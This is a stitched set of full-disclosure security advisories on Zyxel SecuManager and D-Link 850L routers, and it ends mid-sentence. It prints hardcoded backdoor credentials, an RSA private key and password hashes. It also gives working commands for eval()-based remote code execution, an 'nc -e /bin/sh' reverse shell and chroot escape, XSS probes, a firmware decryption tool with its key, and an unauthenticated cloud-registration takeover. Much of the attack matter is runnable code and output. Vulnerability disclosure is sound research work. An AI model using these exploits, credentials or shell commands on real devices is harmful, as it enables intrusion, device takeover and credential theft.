By doing some forensic, it is also trivial to extract previous admin/users:
root@chopin:/opt/mysql/var/lib/mysql/live# strings Administrator_users.*
{'username': 'admin', 'created_ts': 'Mon Mar 21 15:48:12 2016', 'roles': (), 'authdbid': 'Administrator-911324', 'created_by': 'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$O2K8FGHtvfaLE7QaIVlgP.GO0CWfrwwBuFBRNTvghCrfvf.nZAg0C', 'id': 'admin'}
, 'id': 'admin'}
me': 'greg', 'created_ts': 'Mon Oct 12 13:01:38 2015', 'roles': (), 'authdbid': 'Administrator-911324', 'password_change_ts': 'Thu Mar 3 09:33:36 2016', 'created_by': 'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$ZKtY/VngGeHngrO55Rv.N.I3rPXdUuY3tEC3Tg1LuGSUwJJIOR3PW', 'id': 'greg'}
me': 'yjyeh', 'created_ts': 'Wed Feb 17 11:47:07 2016', 'roles': (), 'authdbid': 'Administrator-911324', 'created_by': 'lorinyeh', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$rhS/v/aR8rkBCXL0f9iD.OhT9Gb9hwuvh.0KpuQBLgFfZzMMOeCnS', 'id': 'yjyeh'}
me': 'wang', 'created_ts': 'Tue Feb 23 22:24:11 2016', 'roles': (), 'authdbid': 'Administrator-911324', 'password_change_ts': 'Tue Feb 23 22:49:27 2016', 'created_by': 'axiros', 'miscProps': {}, 'additional_props': {'fullname': ''}, 'password': '$2a$04$ZbDh/hVwIR7vhykP2Du2eO6r4NcKE2kzKX3/./j9dL14JrO8FR5FS', 'id': 'wang'}
': 'ir', 'created_ts': 'Wed Mar 2 23:30:58 2016', 'roles': (), 'authdbid': 'Administrator-911324', 'password_change_ts': 'Wed Mar 2 23:31:34 2016', 'created_by': None, 'miscProps': {}, 'additional_props': {'fullname': 'Axiros Gmbh Ingo Rubach'}, 'password': '$2a$04$RxHVLGGKb3E6fhd32FJWSeObJmQpcEDJM62lgzL8bxLqPDsH9LSdi', 'id': 'ir'}
admin
yjyeh
These information can be useful to find backdoor access.
By default, myzxel.pyc used for communication to the 'Cloud' uses some hardcoded variables for communication over HTTPS:
SERVER_ACCESS_KEY_ID = get_cfg_val('SERVER_ACCESS_KEY_ID')
SERVER_ACCESS_SECRET = get_cfg_val('SERVER_ACCESS_SECRET')
CNMS_API_URL = get_cfg_val('CNMS_API_URL')
HTTPS_VERIFY = get_cfg_val('HTTPS_VERIFY') == 'true'
SERVER_ACCESS_KEY_ID will be generated by the Cloud server
SERVER_ACCESS_SECRET will be generated by the Cloud server
CNMS_API_URL will be https://api.myzyxel.com/v2/my/secu_managers
The function get_account_info
uses the account_id
, the jwt_secret
and the jwt_secret_id
:
106 def get_account_info(account_id, jwt_secret, jwt_secret_id): [...] 107 payload = [...] # 1. generation of the payload 110 jwt_token = jwt_gen(payload, jwt_secret) # 2. jwt_gen encodes the post payload using the empty jwt_secret value 111 post_data = {'access_key_id': jwt_secret_id, # 3. new post data contains access_key_id=&token=post-data 112 'token': jwt_token} # 113 try: 114 r = requests.get(SECU_API_URL, verify=HTTPS_VERIFY, data=post_data) 115 r.raise_for_status() # ^^- 4. the request is sent to https://api.myzyxel.com/v2/my/secu_managers 116 response = r.json() 117 except requests.exceptions.ConnectionError as e: 118 response = 'ConnectionError' 119 120 return response 102 def jwt_gen(payload, secret, algorithm='HS256'): 103 return jwt.encode(payload, secret, algorithm)
The jwt_secret
and jwt_secret_id
are generated as unique key for each appliance.
But an attacker can extract them using backdoors APIs (please read the sub-section Backdoor APIs)
or by using the anonymous access to the ZODB interface and decrypting the secret account_id
value.
Also, the connection to the cloud in myzyxel.pyc is done over HTTPS.
The Python script is using the requests module,
with the HTTPS_VERIFY variable set to false
from /opt/axess/etc/default/axess
:
root@chopin:~# cat /opt/axess/etc/default/axess
[...]
# true or false is allowed
HTTPS_VERIFY=false
[...]
When reading myzyxel.pyc
, the value of HTTPS_VERIFY
is always false
.
So the verification of certificate is never done from the appliance,
allowing an attacker to MITM the HTTPS requests:
19 HTTPS_VERIFY = get_cfg_val('HTTPS_VERIFY') == 'true' [...] 114 r = requests.get(SECU_API_URL, verify=HTTPS_VERIFY, data=post_data) [...] 146 r = requests.patch(url, verify=HTTPS_VERIFY, data=post_data) [...] 180 r = requests.patch(url, verify=HTTPS_VERIFY, data=post_data) [...] 229 r = requests.post(url, verify=HTTPS_VERIFY, data=post_data) [...] 253 r = requests.get(url, verify=HTTPS_VERIFY, data=post_data) [...] 279 r = requests.patch(url, verify=HTTPS_VERIFY, data=post_data)
The non-verification of SSL seems to be a standard practice in the code. e.g.:
ret = requests.get('https://service-dispatcher.cloud.zyxel.com/s/geoip/v1/geoInfo?ipAddress=' + cpeIp, verify=False, timeout=2)
It is recommended to avoid using the cloud functionality (api.myzyxel.com - 54.174.11.58 AWS, 18.234.22.109 AWS and 54.84.22.89 AWS).
The Python script xmppCnrSender.py
is running as root and provides
an open HTTP/1.1-to-XMPP gateway on port 8083/tcp on the WAN interface for CPEs management.
The logs written in /var/log/axxmpp.log
are not sanitized and
an attacker can send escape sequence injections.
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc -v [ip] 8083 < payload
(code from from http://www.ush.it/team/ush/hack_httpd_escape/adv.txt)
This is likely to change the admin's terminal title to owned?
when
he runs cat /var/log/axxmpp.log
or tail -f /var/log/axxmpp.log
.
Also, this will add some fun to this long journey.
The Python script xmppCnrSender.py
is running as root and provides
a open HTTP/1.1-to-XMPP gateway on port 8083/tcp on the WAN interface for CPEs management.
2 Apis are provided:
By default the traffic is not encrypted.
Furthermore, the registration is open and anyone can create accounts.
By default, Apache2 is running on ports 9673/tcp and 80/tcp on the WAN interface. It provides an interface to a Zope WSGI.
By sending invalid HTTP requests, it is possible to cause exceptions in Zope because of the lack of the '/' in the HTTP version:
vm# telnet 192.168.1.1 9673
GET / yolo <---- yolo is used instead of 'PROTOCOL/VERSION'
HTTP/1.1 500 Internal Server Error
[...]
An error occurred. See the error logs for more information.
<type 'exceptions.IndexError'> - list index out of range
The problem appears to come from the Zope library: https://github.com/zopefoundation/Zope/blob/master/src/ZPublisher/WSGIPublisher.py#L347:
343 new_response = (
344 _response
[...]
347 new_response._http_version = environ['SERVER_PROTOCOL'].split('/')[1]
The webinterface on ports 80/tcp and 9673/tcp is prone to a lot of XSS:
vm# curl -v 'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/handle_campaign_script_link?JSON=1&script_name=<XSS>'
<XSS>
vm# curl -v 'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/handle_campaign_script_link?script_name=<ddaaaaa>'
<a title="<ddaaaaa>" href="/<ddaaaaa>/manage" target="_blank"><ddaaaaa></a>#
vm# curl -v 'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/generate_sp_link?cid2=<xss>'
<xss>
Finding others XSS is left as an exercise for the reader.
The system contains an hardcoded SSH Key in the TR69 configuration:
root@chopin:/opt/axess/opt/axess/AXAssets# cat /opt/axess/opt/axess/AXAssets/default_axess/axess/TR69/Handlers/turbolink/sshkeys/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDC4GnOyypL29jIK3cye/MDRXobza+4gdCF9hUKxKdA/HRpeOB1
vPZ5FuQRFR6tSHACOd5xAMILnWMhu/c4F9o/gDF1ZrfsyUJ39seTVBKQFBesgZlF
Xjmf/zBatrpc0DwvpxY1ql0CHGt8G3OO2f3rbRJBkFTMXfF9xUmEudH4nQIBIwKB
gCFoTKcbg5f5zWQktVkckA8we1U5NBEAT6Hvq9X104d7vC9WjOD70nsoft5bZFg4
Tbc9HtGLGfNczypavKqHvwNFgwryFO2pzlv6NsqvqPXi56rO5GNb5yGrve6k+4aH
X3BDfxd1SbRIYZuYAgAmLXe8yDcDRixBKbrVQUtJXhULAkEA8T6HyD0Lp2wKfwgo
nMJ7Qz5F3h/2cSCyYyLHj91i56m9KcLJBiJ2AeVYO4hcV3InlOpQ7osU5cdhJK0S
QRnAkQJBAM7L2G+rdsNNVO7VIbahJSU8rOyaYKpUqTI5ow8hvn2QY55DY81h8HRM
wuk03E6CiWBCr7lbCqa2sBn05fdovU0CQQC6Gkt9NmgTcJph/vrCEl8WncDeja97
12UKpc0l1qtiQRzls4Uh/VO4UdZZz5exLC0pvBKMIiYQV/p7YPDTIn6bAkEAn4dP
MZLmlqlext7uHyva05U08Qlgg2Xhm8YQEvzGJllxa3XQpcCU7ACznfWUAgztogeO
33IeKNYS0jHzOzOKtwJBAKnIlBv1GAW8vEcmTC2NRPCPm9Ta//04rk6DTsl1SaU4
8Zav73P9sJWbnOCzBRI7qaHjK6Zx9L9h04bdk5uvdeE=
-----END RSA PRIVATE KEY-----
root@chopin:/opt/axess/opt/axess/AXAssets#
Some APIs are reachable without authentication and don't have any documentation. The codes exist as object inside the ZDOB:
http://[ip]:9673/live/GLOBALS?key=CLOUDCNM
http://[ip]/update_all_realm_license?cnmid=%s
/zy_get_user_id_and_key
seems to allow an attacker to dump the access_key_id
and
the secret_access_key
used for the 'Cloud' configuration, without authentication.
The web interface on ports 80/tcp and 9673/tcp has a backdoor management access allowing to download and upload python code, templates, webpages and ZEXPs.
The credentials are: axiros
/ q6xV4aW8bQ4cfD-b
We are using the available zcp.py
tool in /opt/axess/opt/axess/zyxel
.
This pre-written tool allows to upload some files remotely and update the ZODB objects.
We download the files:
vm# ./zcp.py -v -r -f -u axiros -p q6xV4aW8bQ4cfD-b http://192.168.1.1:9673/live/CPEManager/AXCampaignManager dir
axess root@chopin:/opt/axess/zyxel/tmp# ./zcp.py -v -r -f -u axiros -p q6xV4aW8bQ4cfD-b http://192.168.1.1:9673/live/CPEManager/AXCampaignManager dir
DEBUG:root:Download mode engaged
INFO:requests.packages.urllib3.connectionpool:Starting new HTTP connection (1): 192.168.1.1
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/manage_main?__ac_name=axiros&__ac_password=q6xV4aW8bQ4cfD-b HTTP/1.1" 200 4335
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/CPEManager/AXCampaignManager/manage_main HTTP/1.1" 200 3680
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/CPEManager/AXCampaignManager/charts/manage_main HTTP/1.1" 200 3374
DEBUG:root:Downloading .py at charts campaign_line_chart_html
[...]
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/CPEManager/AXCampaignManager/campaign_log_actions/document_src HTTP/1.1" 200 347
Download complete at 11:11:14, took 0.2794 Seconds
We add the python code inside dir/handle_campaign_script_link.py
:
vm# echo 'return 1 + 1' > dir/handle_campaign_script_link.py
We then upload the updated python file using the provided zcp.py tool:
vm# ./zcp.py -v -r -f -u axiros -p q6xV4aW8bQ4cfD-b dir http://192.168.1.1:9673/live/CPEManager/AXCampaignManager
DEBUG:root:Upload mode engaged
INFO:requests.packages.urllib3.connectionpool:Starting new HTTP connection (1): 192.168.1.1
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/manage_main?__ac_name=axiros&__ac_password=q6xV4aW8bQ4cfD-b HTTP/1.1" 200 4335
DEBUG:requests.packages.urllib3.connectionpool:"GET /live/CPEManager/AXCampaignManager/manage_main HTTP/1.1" 200 3680
[...]
Testing the execution of Python:
vm# curl 'http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/handle_campaign_script_link'
2
Python code is sucessfully executed on the appliance as axess
.
It is possible to achieve RCE by abusing an insecure API due to unsafe calls to eval():
vm# curl "http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/delete_cpes_by_ids?cpe_ids=__import__('os').system('id>/tmp/a')"
Output is stored in the "Axess" chroot:
root@chopin:/opt/axess/tmp# cat /opt/axess/tmp/a
uid=210(axess) gid=210(axess) groups=210(axess)
It is also possible to get a connect-back shell:
vm# curl "http://192.168.1.1:9673/live/CPEManager/AXCampaignManager/delete_cpes_by_ids?cpe_ids=__import__('os').system('nc+-e+/bin/sh+192.168.1.2+1337')"
On 192.168.1.2, the attacker receives the shell:
vm# nc -l -v -p 1337
listening on [any] 1337 ...
connect to [192.168.1.2] from (UNKNOWN) [192.168.1.1] 39910
id
uid=210(axess) gid=210(axess) groups=210(axess)
uname -ap
Linux chopin 3.2.0-5-amd64 #1 SMP Debian 3.2.96-3 x86_64 GNU/Linux
Also, even if the shell is within a chrooted environment, it is possible to break the chroot using a LPE and the fact that /proc is mounted inside the chroot:
vm# nc -l -v -p 1337
listening on [any] 1337 ...
connect to [192.168.1.2] from (UNKNOWN) [192.168.1.1] 39910
id
uid=0(root) gid=0(root) groups=0(root)
ls / | head
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
chroot /proc/1/root # PRISON BREAK!
ls / | head
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
Full-disclosure is applied as we believe some backdoors are intentionally placed by the vendor.
Also, there are likely to be way more 0day vulnerabilities in the appliance, but we decided not to dig more due to time constraints.
On a side note, the solution also contains some SQLi, some references to ISPs in Greece(?!?) and Germany.
These vulnerabilities were found by Pierre Kim (@PierreKimSec) and Alexandre Torres.
https://pierrekim.github.io/advisories/2020-zyxel-0x00-secumanager.txt
https://pierrekim.github.io/blog/2020-03-09-zyxel-secumanager-0day-vulnerabilities.html
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
An update on the post "Pwning the Dlink 850L routers and abusing the MyDlink Cloud protocol":
MITRE was very effective and provided several CVEs for these vulnerabilities:
CVE-2017-14413, CVE-2017-14414, CVE-2017-14415, CVE-2017-14416, CVE-2017-14417, CVE-2017-14418, CVE-2017-14419, CVE-2017-14420, CVE-2017-14421, CVE-2017-14422, CVE-2017-14423, CVE-2017-14424, CVE-2017-14425, CVE-2017-14426, CVE-2017-14427, CVE-2017-14428, CVE-2017-14429, CVE-2017-14430.
D-Link provided firmware updates at: http://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10074.
Full-Disclosure seems to work! It forced D-Link to provide working security patches to the public in a timely manner.
Only 14 CVEs (of 18 CVEs) are recognized in the list from the Security Announcement from D-Link. I verified myself that the vulnerabilities have been indeed patched or not - for all 18 CVEs - as shown below on a real router with the latest firmware.
This work was possible thanks to another pre-auth 0day exploit that I have not yet released and which still works against the latest revB firmware (DIR850LB1_FW220WWb03.bin
).
user@kali:~/petage-dlink$ ./pwn-dlink-850-003 192.168.0.1
[...]
# uname -ap
Linux dlinkrouter 2.6.30.9 #1 Mon Sep 18 10:27:42 CST 2017 rlx GNU/Linux
# busybox
BusyBox v1.14.1 (2017-09-18 20:18:33 CST) multi-call binary
Copyright (C) 1998-2008 Erik Andersen, Rob Landley, Denys Vlasenko
and others. Licensed under GPLv2.
[...]
#
The algorithm seems to have been updated. The previous program doesn't work anymore. Luckily, having a root shell on the device gives me some hints about how to decipher firmware images.
Corrected - the vulnerable files have been removed, as shown below:
# cd /htdocs/web
# ls -la *php
-rw-r--r-- 1 root root 143 Sep 18 2017 wiz_mydlink.php
-rw-r--r-- 1 root root 3768 Sep 18 2017 vpnconfig.php
-rw-r--r-- 1 root root 204 Sep 18 2017 version.php
-rw-r--r-- 1 root root 1074 Sep 18 2017 getcfg.php
-rw-r--r-- 1 root root 2661 Sep 18 2017 dnslog.php
-rw-r--r-- 1 root root 149 Sep 18 2017 bsc_mydlink.php
#
Corrected - the vulnerable file has been removed.
# ls /htdocs/web/register_send.php
ls: /htdocs/web/register_send.php: No such file or directory
#
Note that the device still sends clear-text passwords to the Cloud protocol (www.mydlink.com).
Not checked as this is going to be taking to much time.
Corrected.
Corrected - as shown below:
# ls -la /etc/stunnel.key
ls: /etc/stunnel.key: No such file or directory
#
The new certificate (/tmp/server.key
and /tmp/server.crt
) is generated on-the-fly during the boot process by the scripts/updatessl.sh
script. It's a self-signed certificate:
# cat scripts/updatessl.sh
[...]
openssl req -new -newkey rsa:2048 -days $SSLDAYS -sha256 -nodes -x509 -subj "/C=TW/ST=Taiwan/L=Taipei/O=D-Link Corporation/OU=D-Link WRPD/CN=General Root CA/emailAddress=webmaster@localhost" -extensions usr_cert -keyout $TMPKEY -out $TMPPEM -config /etc/openssl.cnf -rand $TMPRAND
[...]
This opens question about the security of the Cloud protocol.
Corrected - this file has been removed from the firmware image.
Corrected - the passwords are replaced by 'x' everywhere:
# cat /var/passwd
"Admin" "x" "0"
# cat /var/etc/hnapasswd
Admin:x
# ls -la /var/passwd
-rw-rw-rw- 1 root root 16 Jan 1 00:00 /var/passwd
# cat /var/passwd
"Admin" "x" "0"
# ls -la /var/etc/hnapasswd
-rw-rw-rw- 1 root root 8 Jan 1 00:00 /var/etc/hnapasswd
# cat /var/etc/hnapasswd
Admin:x
# cat /var/etc/hnapasswd
Admin:x
# ls -la /var/etc/hnapasswd
-rw-rw-rw- 1 root root 8 Jan 1 00:00 /var/etc/hnapasswd
# ls -la /var/etc/passwd
-rw-r--r-- 1 root root 146 Jan 1 00:00 /var/etc/passwd
# cat /var/etc/passwd
root:x:0:0:Linux User,,,:/home/root:/bin/sh
nobody:x:1000:500:Linux User,,,:/home/nobody:/bin/sh
Admin:x:1001:0:Linux User,,,:/home/Admin:/bin/sh
# cat /var/etc/shadow
root:!:10956:0:99999:7:::
nobody:!:10956:0:99999:7:::
Admin:!:10956:0:99999:7:::
# ls -la /var/run/storage_account_root
-rw-rw-rw- 1 root root 12 Jan 1 00:00 /var/run/storage_account_root
# cat /var/run/storage_account_root
admin:x,:::
# ls -la /var/run/hostapd*conf
-rw-rw-rw- 1 root root 1160 Jan 1 00:00 /var/run/hostapd-wlan1.conf
-rw-rw-rw- 1 root root 1170 Jan 1 00:00 /var/run/hostapd-wlan0.conf
Corrected - the variables are sanitized.
Corrected? I don't think so.
I'm happily surprised by the results of dropping 0days without coordinated disclosure when it is about D-Link products. Should this be the only method with D-Link to get working security patches in a timely manner?
Hopefully one day a coordinated disclosure could work in the same way.
This research is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
Dlink is a multinational networking equipment manufacturing corporation.
The Dlink 850L is a Wireless AC1200 Dual Band Gigabit "Cloud" Router.
Mydlink Cloud Services allow you to access, view and control the devices on your home network from anywhere.
The Dlink 850L is a router overall badly designed with a lot of vulnerabilities.
Basically, everything was pwned, from the LAN to the WAN. Even the custom MyDlink cloud protocol was abused.
My research in analyzing the security of Dlink 850L routers starts from a recent security contest organized by a security company. The Dlink 850L has 2 versions of these routers with very slight hardware modifications.
The contest targeted the first version (revisionA) but I (unfortunately) received the wrong version, revisionB (thank you Amazon!), which was not eligible for the contest.
In this advisory, I would like to introduce the 0day vulnerabilities from both versions of Dlink 850L that were not submitted to the contest. Note that I submitted a valid vulnerability to SSD which was patched.
Following a very badly coordinated previous disclosure with Dlink last February (see https://pierrekim.github.io/blog/2017-02-02-update-dlink-dwr-932b-lte-routers-vulnerabilities.html), Full-disclosure is applied this time.
The summary of the vulnerabilities is:
revA targets the revision A of the router with the latest firmware available (DIR850L_REVA_FW114WWb07_h2ab_beta1.bin
).
revB targets the revision B of the router with the latest firmware images available (DIR850LB1_FW207WWb05.bin
and DIR850L_REVB_FW207WWb05_h1ke_beta1.bin
from http://support.dlink.com/ProductInfo.aspx?m=DIR-850L, DIR850LB1 FW208WWb02.bin
from http://support.dlink.com.au/Download/download.aspx?product=DIR-850L).
The latest firmware for Dlink 850L revA (DIR850L_REVA_FW114WWb07_h2ab_beta1.bin
) is not protected and a new firmware image can be trivially forged by an attacker.
The latest firmware images for Dlink 850L revB (DIR850LB1_FW207WWb05.bin
, DIR850L_REVB_FW207WWb05_h1ke_beta1.bin
and DIR850LB1 FW208WWb02.bin
) are password-protected with a hardcoded password.
Here is a program to decrypt the firmware image:
/* * Simple tool to decrypt D-LINK DIR-850L REVB firmwares * * $ gcc -o revbdec revbdec.c * $ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted */ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #define USAGE "Usage: decimg <filename> <key>\n" int main(int argc, char **argv) { int i, fi; int fo = STDOUT_FILENO, fe = STDERR_FILENO; if (argc != 3) { write(fe, USAGE, strlen(USAGE)); return (EXIT_FAILURE); } if ((fi = open(argv[1], O_RDONLY)) == -1) { perror("open"); write(fe, USAGE, strlen(USAGE)); return (EXIT_FAILURE); } const char *key = argv[2]; int kl = strlen(key); i = 0; while (1) { char buffer[4096]; int j, len; len = read(fi, buffer, 4096); if (len <= 0) break; for (j = 0; j < len; j++) { buffer[j] ^= (i + j) % 0xFB + 1; buffer[j] ^= key[(i + j) % kl]; } write(fo, buffer, len); i += len; } return (EXIT_SUCCESS); }
You can use this program to decrypt firmware images:
user@kali:~/petage-dlink$ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
user@kali:~/petage-dlink$ binwalk DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/1"
593 0x251 LZMA compressed data, properties: 0x88, dictionary size: 1048576 bytes, uncompressed size: 65535 bytes
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 10518016 bytes; big endian size: 8298496 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8296266 bytes, 2678 inodes, blocksize: 131072 bytes, created: 2017-01-20 06:39:29
The protection of the firmware images is non-existent.
Simply by analyzing PHP files inside /htdocs/web
, we can discover several trivial XSS.
An attacker can use the XSS to target an authenticated user in order to steal the authentication cookies.
/htdocs/web/wpsacts.php
:
user@kali:~/petage-dlink$ wget -qO- --post-data='action=<a>' http://ip:port/wpsacts.php
<?xml version="1.0" encoding="utf-8"?>
<wpsreport>
<action><a></action>
<result></result>
<reason></reason>
</wpsreport>
user@kali:~/petage-dlink$ cat ./fs/htdocs/web/wpsacts.php
[..]
<wpsreport>
<action><?echo $_POST["action"];?></action>
[...]
XSS inside /htdocs/web/shareport.php
:
[...]
<action><?echo $_POST["action"];?></action>
[...]
XSS inside /htdocs/web/sitesurvey.php
:
[...]
<action><?echo $_POST["action"];?></action>
[...]
XSS inside /htdocs/web/wandetect.php
:
[...]
<action><?echo $_POST["action"];?></action>
[...]
XSS inside /htdocs/web/wpsacts.php
:
[...]
<action><?echo $_POST["action"];?></action>
[...]
The webpage http://ip_of_router/register_send.php
doesn't check the authentication of the user, thus an attacker can abuse this webpage to gain control of the device.
This webpage is used to register the device to the myDlink cloud infrastructure.
o The attacker will use the unauthenticated /register_send.php
webpage to:
create a MyDlink Cloud account,
signin the device to this account,
add the device to this account (the device will pass admin password to the Cloud platform! Meaning the passwords are stored in cleartext).
o The attacker will then visit Dlink mycloud webpage using a classic browser (i.e.: Firefox 50 and install the official Dlink NPAPI extension (this will not work with Firefox > 50 or any recent version of Chrome since this plugin requires unsandboxed NPAPI support). This webpage will allow the attacker to remotely control the device (reboot, general management...).
o Then, using Firefox dev tools
, the attacker can passively analyze the default HTTP requests/responses from the Dlink APIs on www.mydlink.com:
The dlink cloud interface will leak by default the password of the device (!) inside the answer of a PUT
request (and inside GET
requests too). Just by watching the HTTP requests from the NPAPI plugin, the APIs will provide passwords of the device in cleartext.
o Finally, the NPAPI plugins will automatically establish a tunnel between the router and the Firefox browser:
the attacker will be able to visit http://127.0.0.1:dynamicaly_generated_remote_port/
to reach the remote router.
The traffic will go directly to Amazon servers then to the remote Dlink router:
Firefox NPAPI client (http://127.0.0.1:remote_port/) -> Amazon -> Dlink 850L HTTP Interface.
o The attacker will use the previous password provided by the legit HTTPS answers from the Dlink APIs and will be able to login inside the router. At that point complete control over the router is achieved.
o This is made possible by the signalc
program (inside /mydlink/
) that creates a TCP tunnel to Amazon servers.
Finally, I will demonstrate some part of the traffic inside this tunnel is in cleartext and the other part (encrypted traffic) can be MITM'd thanks to self-signed certificates and the complete lack of certificate verification.
The PHP script hosted at http://ip_of_router/register_send.php
will serve as a proxy between the attacker and the remote Dlink APIs.
This page will also retrieve the password (it is stored in cleartext - see part 8. Weak files permission and credentials stored in cleartext) and send it to remote Dlink APIs.
151 $devpasswd = query("/device/account/entry/password"); <- $devpasswd contains the password
152 $action = $_POST["act"]; of the device
The password will be sent during the association of the device (3rd request : adddev
) to the Mydlink Cloud service (see the &device_password=$devpasswd
):
178 //sign up
179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
180 "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"].
181 "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." ";
182
183 $post_url_signup = "/signin/";
184
185 $action_signup = "signup";
186
187 //sign in
188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
189 "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." ";
190
191 $post_url_signin = "/account/?signin";
192
193 $action_signin = "signin";
194
195 //add dev (bind device)
196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
197 "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." ";
198
199 $post_url_adddev = "/account/?add";
200
201 $action_adddev = "adddev";
202
203 //main start
204 if($action == $action_signup) <---- first request
205 {
206 $post_str = $post_str_signup;
207 $post_url = $post_url_signup;
208 $withcookie = ""; //signup dont need cookie info
209 }
210 else if($action == $action_signin) <---- second request
211 {
212 $post_str = $post_str_signin;
213 $post_url = $post_url_signin;
214 $withcookie = "\r\nCookie: lang=en; mydlink=pr2c11jl60i21v9t5go2fvcve2;";
215 }
216 else if($action == $action_adddev) <---- 3rd request
217 {
218 $post_str = $post_str_adddev;
219 $post_url = $post_url_adddev;
220 }
To exploit this vuln, let's create 3 HTTP requests to the dlink router:
The first one (signup
) will create an user on the MyDlink service:
user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signup&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php
<?xml version="1.0"?>
<register_send>
<result>success</result>
<url>http://mp-us-portal.auto.mydlink.com</url>
</register_send>
Internally, this request was crafted and sent to MyDlink Cloud APIs:
179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
180 "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"].
181 "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." ";
The second one (signin
) will "signin" the newly created user - the router will be associated with this account - but not activated:
user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signin&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php
<?xml version="1.0"?>
<register_send>
<result>success</result>
<url>http://mp-us-portal.auto.mydlink.com</url>
</register_send>
Internally, this request was crafted and sent to MyDlink Cloud APIs:
188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
189 "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." ";
The last one will associate the device to the dlink service and will send the password of the device to the remote APIs of Dlink:
user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=adddev&lang=en' http://ip/register_send.php
<?xml version="1.0"?>
<register_send>
<result>success</result>
<url>http://mp-us-portal.auto.mydlink.com</url>
</register_send>
Internally, this request was crafted and sent to MyDlink Cloud APIs:
196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
197 "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." ";
Now please confirm the email using the email sent from Dlink:
Then, visit http://mydlink.com/ and login using the email and the password.
You will see the device listed in the web interface (You need to install the plugin - you can use "IE8 - Win7.ova" from Microsoft, you need Firefox 50 to use the plugin).
Please see the attached screenshot to see the available management options (you can click on the images):
By analyzing the requests, we can get more information about the targeted router (note the requests are made by default when browsing the www.mydlink.com website!):
It appears the PUT
(PUT IDENTIFIER_OF_THE_ROUTER
) request provides a response with the cleartext password of the device!
Note that there is a GET
request on the end of the image, we will study it too.
https://eu.mydlink.com/device/devices/DEVICEID?_=SOME_RANDOM_DATA&access_token=ACCESS_TOKEN
The POST
data are:
